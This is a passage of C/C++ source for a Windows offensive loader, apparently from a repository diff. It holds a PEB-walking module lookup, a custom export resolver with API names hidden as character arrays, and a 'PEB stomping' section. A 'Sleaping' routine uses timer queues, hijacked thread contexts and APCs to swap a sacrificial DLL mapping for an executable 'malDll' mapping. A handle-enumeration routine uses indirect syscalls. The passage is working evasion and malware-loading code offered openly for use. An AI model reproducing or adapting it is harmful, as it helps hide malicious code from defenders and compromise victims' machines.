}
|
||||
|
||||
// Check if both strings have reached the null terminator at the same time
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
bool CompareStringASCII(CHAR str1[], CHAR str2[]) {
|
||||
|
||||
if (custom_strlen(str1) != custom_strlen(str2)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
int i = 0;
|
||||
while (str1[i] && str2[i]) {
|
||||
|
||||
if (str1[i] != str2[i]) {
|
||||
return false; // Characters don't match, strings are different
|
||||
}
|
||||
i++;
|
||||
}
|
||||
|
||||
// Check if both strings have reached the null terminator at the same time
|
||||
return true;
|
||||
}
|
||||
|
||||
BOOL ComprareStringWIDE(WCHAR str1[], WCHAR str2[]) {
|
||||
|
||||
int i = 0;
|
||||
|
||||
while (str1[i] && str2[i]) {
|
||||
|
||||
if (str1[i] != str2[i]) {
|
||||
return FALSE; // Characters don't match, strings are different
|
||||
}
|
||||
i++;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL containsSubstringUnicode(PWSTR str, WCHAR substring[], int strLen, int subLen) {
|
||||
|
||||
|
||||
CHAR dest[100] = { 0 };
|
||||
|
||||
if (subLen > strLen)
|
||||
return FALSE;
|
||||
|
||||
for (size_t i = 0; i <= (strLen - subLen + 1); ++i) {
|
||||
|
||||
for (int j = 0; j < subLen; j++) {
|
||||
|
||||
if (str[i + j] != substring[j]) {
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
if (j == (subLen - 1)) {
|
||||
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL containsSubstringASCII(CHAR str[], CHAR substring[]) {
|
||||
|
||||
size_t strLen = 0;
|
||||
size_t subLen = 0;
|
||||
strLen = custom_strlen(str);
|
||||
subLen = custom_strlen(substring);
|
||||
|
||||
|
||||
//if (subLen > strLen)
|
||||
// return FALSE;
|
||||
|
||||
for (size_t i = 0; i <= strLen - subLen; i++) {
|
||||
//MB(NULL, msg, msg, MB_OK | MB_ICONINFORMATION);
|
||||
if (CompareNStringASCII(str + i, substring, subLen) == 0)
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
errno_t custom_wcscpy_s(WCHAR dest[], size_t destsz, WCHAR src[]) {
|
||||
|
||||
|
||||
size_t i = 0;
|
||||
while (i < destsz - 1 && src[i] != L'\0') {
|
||||
dest[i] = src[i];
|
||||
i++;
|
||||
}
|
||||
dest[i] = L'\0'; // Null-terminate the destination string
|
||||
|
||||
return 0; // Success
|
||||
}
|
||||
|
||||
int custom_wcsstr(WCHAR string[], WCHAR sub[]) {
|
||||
|
||||
int index = 0;
|
||||
int index_sub = 0;
|
||||
while (string[index] != L'\0') {
|
||||
|
||||
|
||||
while (string[index] == sub[index_sub] && string[index] != L'\0' && sub[index_sub] != L'\0') {
|
||||
index++;
|
||||
index_sub++;
|
||||
}
|
||||
|
||||
if (sub[index_sub] == L'\0') {
|
||||
return (index - index_sub);
|
||||
}
|
||||
|
||||
index++;
|
||||
index_sub = 0;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int custom_csstr(CHAR string[], CHAR sub[]) {
|
||||
|
||||
int index = 0;
|
||||
int index_sub = 0;
|
||||
while (string[index] != '\0') {
|
||||
|
||||
|
||||
while (string[index] == sub[index_sub] && string[index] != '\0' && sub[index_sub] != '\0') {
|
||||
index++;
|
||||
index_sub++;
|
||||
}
|
||||
|
||||
if (sub[index_sub] == '\0') {
|
||||
return (index - index_sub);
|
||||
}
|
||||
|
||||
index++;
|
||||
index_sub = 0;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int custom_find(char str[], char ch) {
|
||||
|
||||
|
||||
int index = 0;
|
||||
while (str[index] != '\0') {
|
||||
if (str[index] == ch) {
|
||||
return index; // Character found; return its position (index)
|
||||
}
|
||||
index++;
|
||||
}
|
||||
|
||||
return -1; // Character not found
|
||||
}
|
||||
|
||||
VOID custom_find_wide_reverse(WCHAR str[], WCHAR ch, int len, int* result) {
|
||||
|
||||
|
||||
|
||||
int index = len - 1;
|
||||
while (index >= 0) {
|
||||
|
||||
if (str[index] == ch) {
|
||||
|
||||
*result = index; // Character found; return its position (index)
|
||||
}
|
||||
index--;
|
||||
}
|
||||
}
|
||||
|
||||
int custom_stoi(char str[]) {
|
||||
|
||||
|
||||
int result = 0;
|
||||
int i = 0;
|
||||
|
||||
// Iterate through the string and convert characters to integers
|
||||
while (str[i] != '\0') {
|
||||
if (str[i] >= '0' && str[i] <= '9') {
|
||||
result = result * 10 + (str[i] - '0');
|
||||
}
|
||||
i++;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
void custom_itoa(unsigned int value, CHAR buffer[]) {
|
||||
int i = 0;
|
||||
|
||||
// Process individual digits
|
||||
do {
|
||||
buffer[i++] = '0' + value % 10;
|
||||
value /= 10;
|
||||
} while (value);
|
||||
|
||||
buffer[i] = '\0'; // Null-terminate the string
|
||||
|
||||
// Reverse the string
|
||||
int start = 0;
|
||||
int end = i - 1;
|
||||
while (start < end) {
|
||||
char temp = buffer[start];
|
||||
buffer[start] = buffer[end];
|
||||
buffer[end] = temp;
|
||||
start++;
|
||||
end--;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
errno_t custom_memcpy_s(void* dest, size_t destsz, void* src, size_t count) {
|
||||
if (!dest || !src || destsz < count) {
|
||||
return EINVAL; // Invalid parameters or insufficient space
|
||||
}
|
||||
|
||||
PBYTE d = (PBYTE)dest;
|
||||
PBYTE s = (PBYTE)src;
|
||||
|
||||
while (count--) {
|
||||
*d++ = *s++; // Copy bytes from source to destination
|
||||
}
|
||||
|
||||
return 0; // Success
|
||||
}
|
||||
|
||||
char* custom_strcat(char dest[], char src[]) {
|
||||
size_t dest_len = custom_strlen(dest);
|
||||
size_t i;
|
||||
|
||||
for (i = 0; src[i] != '\0'; ++i) {
|
||||
dest[dest_len + i] = src[i];
|
||||
}
|
||||
dest[dest_len + i] = '\0'; // Null-terminate the concatenated string
|
||||
|
||||
return dest;
|
||||
}
|
||||
|
||||
size_t custom_mbstowcs(WCHAR dest[], CHAR src[], size_t n) {
|
||||
size_t i = 0;
|
||||
for (i = 0; src[i] != '\0' && i < n; ++i) {
|
||||
dest[i] = (wchar_t)src[i]; // Convert ASCII characters directly
|
||||
}
|
||||
dest[i] = L'\0'; // Null-terminate the wide character string
|
||||
return i; // Return the number of converted characters
|
||||
}
|
||||
|
||||
//----------------GET MODULE HANDLE---------------------
|
||||
HMODULE GMHR(IN WCHAR szModuleName[]) {
|
||||
|
||||
PPEBC pPeb = (PEBC*)(__readgsqword(0x60));
|
||||
|
||||
|
||||
// geting Ldr
|
||||
PPEBC_LDR_DATA pLdr = (PPEBC_LDR_DATA)(pPeb->Ldr);
|
||||
// getting the first element in the linked list (contains information about the first module)
|
||||
PLDR_DATA_TABLE_ENTRYC pDte = (PLDR_DATA_TABLE_ENTRYC)(pLdr->InMemoryOrderModuleList.Flink);
|
||||
|
||||
|
||||
while (pDte) {
|
||||
|
||||
// if not null
|
||||
if (pDte->FullDllName.Length != NULL) {
|
||||
|
||||
// check if both equal
|
||||
ToLowerCaseWIDE(pDte->FullDllName.Buffer);
|
||||
ToLowerCaseWIDE(szModuleName);
|
||||
if (ComprareStringWIDE(pDte->FullDllName.Buffer, szModuleName)) {
|
||||
|
||||
return (HMODULE)(pDte->InInitializationOrderLinks.Flink);
|
||||
|
||||
}
|
||||
}
|
||||
else {
|
||||
break;
|
||||
}
|
||||
|
||||
// next element in the linked list
|
||||
pDte = *(PLDR_DATA_TABLE_ENTRYC*)(pDte);
|
||||
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*-------------------PEB STOMPING---------------------------*/
|
||||
|
||||
/*----------------SUPPORT FUNCTIONS------------------------*/
|
||||
void ParseForwarder(CHAR forwarder[], CHAR dll[], CHAR function[]) {
|
||||
|
||||
int i = 0;
|
||||
while (forwarder[i]) {
|
||||
if (forwarder[i] == '.') {
|
||||
break;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
for (int j = 0; j <= i; j++) {
|
||||
dll[j] = forwarder[j];
|
||||
}
|
||||
dll[i + 1] = 'd';
|
||||
dll[i + 2] = 'l';
|
||||
dll[i + 3] = 'l';
|
||||
dll[i + 4] = '\0';
|
||||
i++;
|
||||
int z = 0;
|
||||
while (forwarder[i]) {
|
||||
function[z] = forwarder[i];
|
||||
i++;
|
||||
z++;
|
||||
}
|
||||
function[z + 1] = '\0';
|
||||
}
|
||||
|
||||
void ConvertPointerToString(LPVOID pointer, char* buffer, size_t bufferSize) {
|
||||
const char hexDigits[] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' };
|
||||
uintptr_t value = reinterpret_cast<uintptr_t>(pointer);
|
||||
|
||||
|
||||
|
||||
// Add "0x" prefix
|
||||
buffer[0] = '0';
|
||||
buffer[1] = 'x';
|
||||
|
||||
// Convert each nibble to a hexadecimal digit
|
||||
for (int i = 15; i >= 0; --i) {
|
||||
buffer[2 + (15 - i)] = hexDigits[(value >> (i * 4)) & 0xF];
|
||||
}
|
||||
|
||||
// Null-terminate the string
|
||||
buffer[18] = '\n';
|
||||
buffer[19] = '\0';
|
||||
}
|
||||
|
||||
|
||||
/*------------------GET PROC ADDRESS-------------------*/
|
||||
|
||||
FARPROC GPAR(IN HMODULE hModule, IN CHAR lpApiName[]) {
|
||||
|
||||
|
||||
PBYTE pBase = (PBYTE)hModule;
|
||||
|
||||
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
|
||||
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
|
||||
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;
|
||||
PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
|
||||
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
|
||||
PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
|
||||
|
||||
//variables for forwarding
|
||||
WCHAR kernel32[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
|
||||
CHAR loadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };
|
||||
fnLoadLibraryA LLA = NULL;
|
||||
PBYTE functionAddress = NULL;
|
||||
CHAR forwarder[260] = { 0 };
|
||||
CHAR dll[260] = { 0 };
|
||||
CHAR function[260] = { 0 };
|
||||
|
||||
|
||||
|
||||
// looping through all the exported functions
|
||||
for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {
|
||||
// getting the name of the function
|
||||
CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
|
||||
|
||||
|
||||
|
||||
// searching for the function specified
|
||||
if (CompareStringASCII(lpApiName, pFunctionName)) {
|
||||
functionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
|
||||
|
||||
if (functionAddress >= (PBYTE)pImgExportDir && functionAddress < (PBYTE)(pImgExportDir + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)) {
|
||||
|
||||
//here i have to get a substring
|
||||
ParseForwarder((CHAR*)functionAddress, dll, function);
|
||||
if ((LLA = (fnLoadLibraryA)GPAR(GMHR(kernel32), loadLibraryA)) == NULL)
|
||||
return NULL;
|
||||
if (function[0] == '#') {
|
||||
|
||||
return GPARO(LLA(dll), custom_stoi(function));
|
||||
}
|
||||
else {
|
||||
return GPAR(LLA(dll), function);
|
||||
}
|
||||
|
||||
}
|
||||
else {
|
||||
|
||||
return (FARPROC)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
FARPROC GPARO(IN HMODULE hModule, IN int ordinal) {
|
||||
|
||||
// we do this to avoid casting at each time we use 'hModule'
|
||||
PBYTE pBase = (PBYTE)hModule;
|
||||
|
||||
// getting the dos header and doing a signature check
|
||||
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
|
||||
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
// getting the nt headers and doing a signature check
|
||||
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
|
||||
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
// getting the optional header
|
||||
IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;
|
||||
|
||||
// we can get the optional header like this as well
|
||||
// PIMAGE_OPTIONAL_HEADER pImgOptHdr = (PIMAGE_OPTIONAL_HEADER)((ULONG_PTR)pImgNtHdrs + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER));
|
||||
|
||||
// getting the image export table
|
||||
PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
//getting the base = first ordinal value in the export table (DWORD 4 bytes)
|
||||
int base = (int)pImgExportDir->Base;
|
||||
int NumberOfFunctions = (int)pImgExportDir->NumberOfFunctions;
|
||||
|
||||
//variables for forwarding
|
||||
WCHAR kernel32[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
|
||||
CHAR loadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };
|
||||
fnLoadLibraryA LLA = NULL;
|
||||
PBYTE functionAddress = NULL;
|
||||
CHAR forwarder[260] = { 0 };
|
||||
CHAR dll[260] = { 0 };
|
||||
CHAR function[260] = { 0 };
|
||||
|
||||
|
||||
//check if the ordinal falls into the range of ordinals of functions exported by the DLL
|
||||
if (ordinal < base || ordinal >= base + NumberOfFunctions) {
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// getting the function's names array pointer
|
||||
PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
|
||||
// getting the function's addresses array pointer
|
||||
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
|
||||
// getting the function's ordinal array pointer
|
||||
PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
|
||||
// as specified here https://learn.microsoft.com/en-us/windows/win32/debug/pe-format
|
||||
// If the address specified is not within the export section (as defined by the address and length that are indicated
|
||||
// in the optional header), the field is an export RVA, which is an actual address in code or data. Otherwise, the field is a forwarder RVA,
|
||||
// // which names a symbol in another DLL.
|
||||
functionAddress = (PBYTE)(pBase + FunctionAddressArray[ordinal]);
|
||||
if (functionAddress >= (PBYTE)pImgExportDir && functionAddress < (PBYTE)(pImgExportDir + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)) {
|
||||
|
||||
//here i have to get a substring
|
||||
ParseForwarder((CHAR*)functionAddress, dll, function);
|
||||
if ((LLA = (fnLoadLibraryA)GPAR(GMHR(kernel32), loadLibraryA)) == NULL)
|
||||
return NULL;
|
||||
if (function[0] == '#') {
|
||||
|
||||
return GPARO(LLA(dll), custom_stoi(function));
|
||||
}
|
||||
else {
|
||||
return GPAR(LLA(dll), function);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return (FARPROC)(pBase + FunctionAddressArray[ordinal]);
|
||||
|
||||
}
|
||||
|
||||
DWORD WINAPI ThreadProc(LPVOID lpParameter) {
|
||||
// Call DllMain with proper arguments
|
||||
WCHAR SRH[] = {L'S', L'R', L'H', L'.', L'd', L'l', L'l', L'\0'};
|
||||
fnDllMain pDllMain = NULL;
|
||||
PBYTE pebase = NULL;
|
||||
pDllMain = (fnDllMain)lpParameter;
|
||||
pebase = (PBYTE)GMHR(SRH);
|
||||
|
||||
return pDllMain((HMODULE)pebase, DLL_PROCESS_ATTACH, NULL);
|
||||
|
||||
|
||||
}
|
||||
|
||||
@@ -0,0 +1,186 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include "headers.h"
|
||||
|
||||
|
||||
/*-----------------------------------------------------------*/
|
||||
|
||||
int Sleaping(PVOID ImageBaseDLL, HANDLE sacDllHandle, HANDLE malDllHandle, SIZE_T viewSize, PNT_FUNCTIONS ntFunctions, PVOID NtTestAlertAddress) {
|
||||
|
||||
|
||||
HANDLE DummyEvent = { 0 };
|
||||
|
||||
//sleaping threads = 5 Timers + 6 APC threads
|
||||
HANDLE ThreadArray[4] = { NULL };
|
||||
|
||||
//timers variables
|
||||
HANDLE hTimerQueue = NULL;
|
||||
HANDLE hNewTimer = NULL;
|
||||
|
||||
//i create the sync event that would trigger the first thread
|
||||
|
||||
if (!NT_SUCCESS(ntFunctions->NtCreateEvent(&DummyEvent, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE))) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
//variables and logic for SLEAPING timers
|
||||
CONTEXT* context = (CONTEXT*)(VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
|
||||
CONTEXT* contextB = (CONTEXT*)(VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
|
||||
CONTEXT* contextC = (CONTEXT*)(VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
|
||||
CONTEXT* contextD = (CONTEXT*)(VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
|
||||
|
||||
|
||||
if (context == NULL || contextB == NULL || contextC == NULL || contextD == NULL) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
context->ContextFlags = CONTEXT_ALL;
|
||||
contextB->ContextFlags = CONTEXT_ALL;
|
||||
contextC->ContextFlags = CONTEXT_ALL;
|
||||
contextD->ContextFlags = CONTEXT_ALL;
|
||||
|
||||
ThreadArray[2] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WaitForSingleObjectEx, NULL, CREATE_SUSPENDED, NULL);
|
||||
if (ThreadArray[2] == NULL) {
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (!GetThreadContext(ThreadArray[2], contextC)) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
*(ULONG_PTR*)((*contextC).Rsp) = (DWORD64)NtTestAlertAddress;
|
||||
(*contextC).Rip = (DWORD64)WaitForSingleObjectEx;
|
||||
(*contextC).Rcx = (DWORD64)(DummyEvent);
|
||||
(*contextC).Rdx = (DWORD64)21000;
|
||||
(*contextC).R8 = FALSE;
|
||||
|
||||
if (!SetThreadContext(ThreadArray[2], contextC)) {
|
||||
return -1;
|
||||
}//wait + APCs
|
||||
//resume the thread that is going to wait the sleep time and then execute the APCs
|
||||
if (!ResumeThread(ThreadArray[2])) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
// Create a thread to control
|
||||
ThreadArray[0] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)UnmapViewOfFile, NULL, CREATE_SUSPENDED, NULL);
|
||||
if (ThreadArray[0] == NULL) {
|
||||
|
||||
return -1;
|
||||
}
|
||||
ThreadArray[1] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MapViewOfFileEx, NULL, CREATE_SUSPENDED, NULL);
|
||||
if (ThreadArray[1] == NULL) {
|
||||
|
||||
return -1;
|
||||
}
|
||||
ThreadArray[3] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MapViewOfFileEx, NULL, CREATE_SUSPENDED, NULL);
|
||||
if (ThreadArray[3] == NULL) {
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
if(!GetThreadContext(ThreadArray[0], context))
|
||||
return -1;
|
||||
if(!GetThreadContext(ThreadArray[1], contextB))
|
||||
return -1;
|
||||
if(!GetThreadContext(ThreadArray[3], contextD))
|
||||
return -1;
|
||||
|
||||
|
||||
//timer triggered
|
||||
*(ULONG_PTR*)((*context).Rsp) = (DWORD64)ExitThread;
|
||||
(*context).Rip = (DWORD64)UnmapViewOfFile;
|
||||
(*context).Rcx = (DWORD64)(ImageBaseDLL);
|
||||
|
||||
*(ULONG_PTR*)((*contextB).Rsp) = (DWORD64)ExitThread;
|
||||
(*contextB).Rip = (DWORD64)MapViewOfFileEx;
|
||||
(*contextB).Rcx = (DWORD64)sacDllHandle;
|
||||
(*contextB).Rdx = FILE_MAP_ALL_ACCESS;
|
||||
(*contextB).R8 = (DWORD64)0x00;
|
||||
(*contextB).R9 = (DWORD64)0x00;
|
||||
*(ULONG_PTR*)((*contextB).Rsp + 40) = 0x00; //the offset must be either hex 28 or int 40
|
||||
*(ULONG_PTR*)((*contextB).Rsp + 48) = (ULONG_PTR)ImageBaseDLL;
|
||||
|
||||
//apc triggered
|
||||
*(ULONG_PTR*)((*contextD).Rsp) = (DWORD64)ExitThread;
|
||||
(*contextD).Rip = (DWORD64)MapViewOfFileEx;
|
||||
(*contextD).Rcx = (DWORD64)malDllHandle;
|
||||
(*contextD).Rdx = FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE;
|
||||
(*contextD).R8 = (DWORD64)0x00;
|
||||
(*contextD).R9 = (DWORD64)0x00;
|
||||
*(ULONG_PTR*)((*contextD).Rsp + 40) = 0x00; //the offset must be either hex 28 or int 40
|
||||
*(ULONG_PTR*)((*contextD).Rsp + 48) = (ULONG_PTR)ImageBaseDLL;
|
||||
|
||||
if (!SetThreadContext(ThreadArray[0], context))
|
||||
return -1;
|
||||
if (!SetThreadContext(ThreadArray[1], contextB))
|
||||
return -1;
|
||||
if (!SetThreadContext(ThreadArray[3], contextD))
|
||||
return -1;
|
||||
|
||||
|
||||
//create the timer queue
|
||||
hTimerQueue = CreateTimerQueue();
|
||||
if (hTimerQueue == NULL) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
//queue the APC threads to the worker thread
|
||||
|
||||
if (!NT_SUCCESS(ntFunctions->NtQueueApcThread(ThreadArray[2], (PPS_APC_ROUTINE)UnmapViewOfFile, ImageBaseDLL, FALSE, NULL))) {
|
||||
return -1;
|
||||
}
|
||||
if (!NT_SUCCESS(ntFunctions->NtQueueApcThread(ThreadArray[2], (PPS_APC_ROUTINE)ResumeThread, ThreadArray[3], FALSE, NULL))) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
//queueing an extra APC for exiting the main thread
|
||||
if (!NT_SUCCESS(ntFunctions->NtQueueApcThread(ThreadArray[2], (PPS_APC_ROUTINE)ExitThread, NULL, FALSE, NULL))) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
|
||||
if (!CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)ResumeThread, ThreadArray[0], 200, 0, WT_EXECUTEINTIMERTHREAD)) {
|
||||
return -1;
|
||||
}//unmap
|
||||
|
||||
if (!CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)ResumeThread, ThreadArray[1], 300, 0, WT_EXECUTEINTIMERTHREAD)) {
|
||||
return -1;
|
||||
}//mapex
|
||||
|
||||
|
||||
|
||||
//wait for all the threads to finish
|
||||
if (WaitForMultipleObjects(4, ThreadArray, TRUE, INFINITE) == WAIT_FAILED) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
//good morning
|
||||
if (hNewTimer != NULL) {
|
||||
if (DeleteTimerQueueTimer(hTimerQueue, hNewTimer, NULL) == 0) {
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
if (DeleteTimerQueue(hTimerQueue) == 0) {
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
//clean up totale
|
||||
if (context) VirtualFree(context, 0, MEM_RELEASE);
|
||||
if (contextB) VirtualFree(contextB, 0, MEM_RELEASE);
|
||||
if (contextC) VirtualFree(contextC, 0, MEM_RELEASE);
|
||||
if (contextD) VirtualFree(contextD, 0, MEM_RELEASE);
|
||||
if (DummyEvent) CloseHandle(DummyEvent);
|
||||
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
@@ -0,0 +1,212 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include "syscalls.h"
|
||||
#include "headers.h"
|
||||
|
||||
/*--------------------FUNCTION TO ENUMERATE SECTION HANDLES-------------*/
|
||||
|
||||
HANDLE FindSectionHandle(PSYSCALL_ENTRY zwFunctions, fnGetProcessId GPID) {
|
||||
|
||||
|
||||
|
||||
/*----variables-----*/
|
||||
WCHAR section[] = { L'S', L'e', L'c', L't', L'i', L'o', L'n', L'\0' };
|
||||
WCHAR SRH[] = { L'S',L'R',L'H',L'.',L'd',L'l',L'l',L'\0' };
|
||||
SIZE_T bufferSize = 0x10000; // Initial buffer size
|
||||
PVOID buffer = NULL;
|
||||
NTSTATUS STATUS = 0x00;
|
||||
SIZE_T viewSize = 0x00;
|
||||
PVOID viewBase = NULL;
|
||||
//viewSize = 1;
|
||||
|
||||
//first allocation
|
||||
if ((STATUS = ZwAllocateVirtualMemory(((HANDLE)(LONG_PTR)-1), &buffer, 0, &bufferSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE, zwFunctions[ZwAllocateVirtualMemoryF].SSN, zwFunctions[ZwAllocateVirtualMemoryF].sysretAddr)) != 0) {
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
//find the right size, even if i think it won't be needed due to the fact the memory allocated will be rounded to 4096
|
||||
while ((STATUS = ZwQuerySystemInformation(16, buffer, bufferSize, NULL, zwFunctions[ZwQuerySystemInformationF].SSN, zwFunctions[ZwQuerySystemInformationF].sysretAddr)) == 0xc0000004) {
|
||||
|
||||
//free and re-allocate
|
||||
if (STATUS = ZwFreeVirtualMemory(((HANDLE)(LONG_PTR)-1), &buffer, 0, MEM_RELEASE, zwFunctions[ZwFreeVirtualMemoryF].SSN, zwFunctions[ZwFreeVirtualMemoryF].sysretAddr) == 0) {
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
//reset variables
|
||||
buffer = NULL;
|
||||
bufferSize *= 2;
|
||||
if ((STATUS = ZwAllocateVirtualMemory(((HANDLE)(LONG_PTR)-1), &buffer, 0, &bufferSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE, zwFunctions[ZwAllocateVirtualMemoryF].SSN, zwFunctions[ZwAllocateVirtualMemoryF].sysretAddr)) != 0) {
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
/*----variables allocation second phase--------------*/
|
||||
PSYSTEM_HANDLE_INFORMATION handleInfo = (PSYSTEM_HANDLE_INFORMATION)buffer;
|
||||
//
|
||||
PVOID objectTypeInfoTemp = NULL;
|
||||
SIZE_T objectTypeInfoSize = 0x1000;
|
||||
POBJECT_TYPE_INFORMATION objectTypeInfo = NULL;
|
||||
|
||||
PVOID objectNameInfo = NULL;
|
||||
SIZE_T objectNameInfoSize = 0x1000;
|
||||
|
||||
UNICODE_STRING objectName = { 0x00 };
|
||||
ULONG returnLength = 0x00;
|
||||
SIZE_T returnLengthS = 0x00;
|
||||
PVOID buffermeminfo = NULL;
|
||||
SIZE_T buffermeminfosize = 0x00;
|
||||
SIZE_T returnLengthMem = 0x00;
|
||||
PUNICODE_STRING memoryinfo = NULL;
|
||||
|
||||
//variables for string manipulation
|
||||
int position = 0;
|
||||
wchar_t* result = NULL;
|
||||
|
||||
if ((STATUS = ZwAllocateVirtualMemory(((HANDLE)(LONG_PTR)-1), &objectTypeInfoTemp, 0, &objectTypeInfoSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE, zwFunctions[ZwAllocateVirtualMemoryF].SSN, zwFunctions[ZwAllocateVirtualMemoryF].sysretAddr)) != 0) {
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
if ((STATUS = ZwAllocateVirtualMemory(((HANDLE)(LONG_PTR)-1), &objectNameInfo, 0, &objectNameInfoSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE, zwFunctions[ZwAllocateVirtualMemoryF].SSN, zwFunctions[ZwAllocateVirtualMemoryF].sysretAddr)) != 0) {
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
objectTypeInfo = (POBJECT_TYPE_INFORMATION)objectTypeInfoTemp;
|
||||
|
||||
//to retrieve mapped section information
|
||||
SYSTEM_HANDLE handle = { 0x00 };
|
||||
DWORD PID = GPID(((HANDLE)(LONG_PTR)-1));
|
||||
for (ULONG_PTR i = 0; i < handleInfo->HandleCount; i++) {
|
||||
|
||||
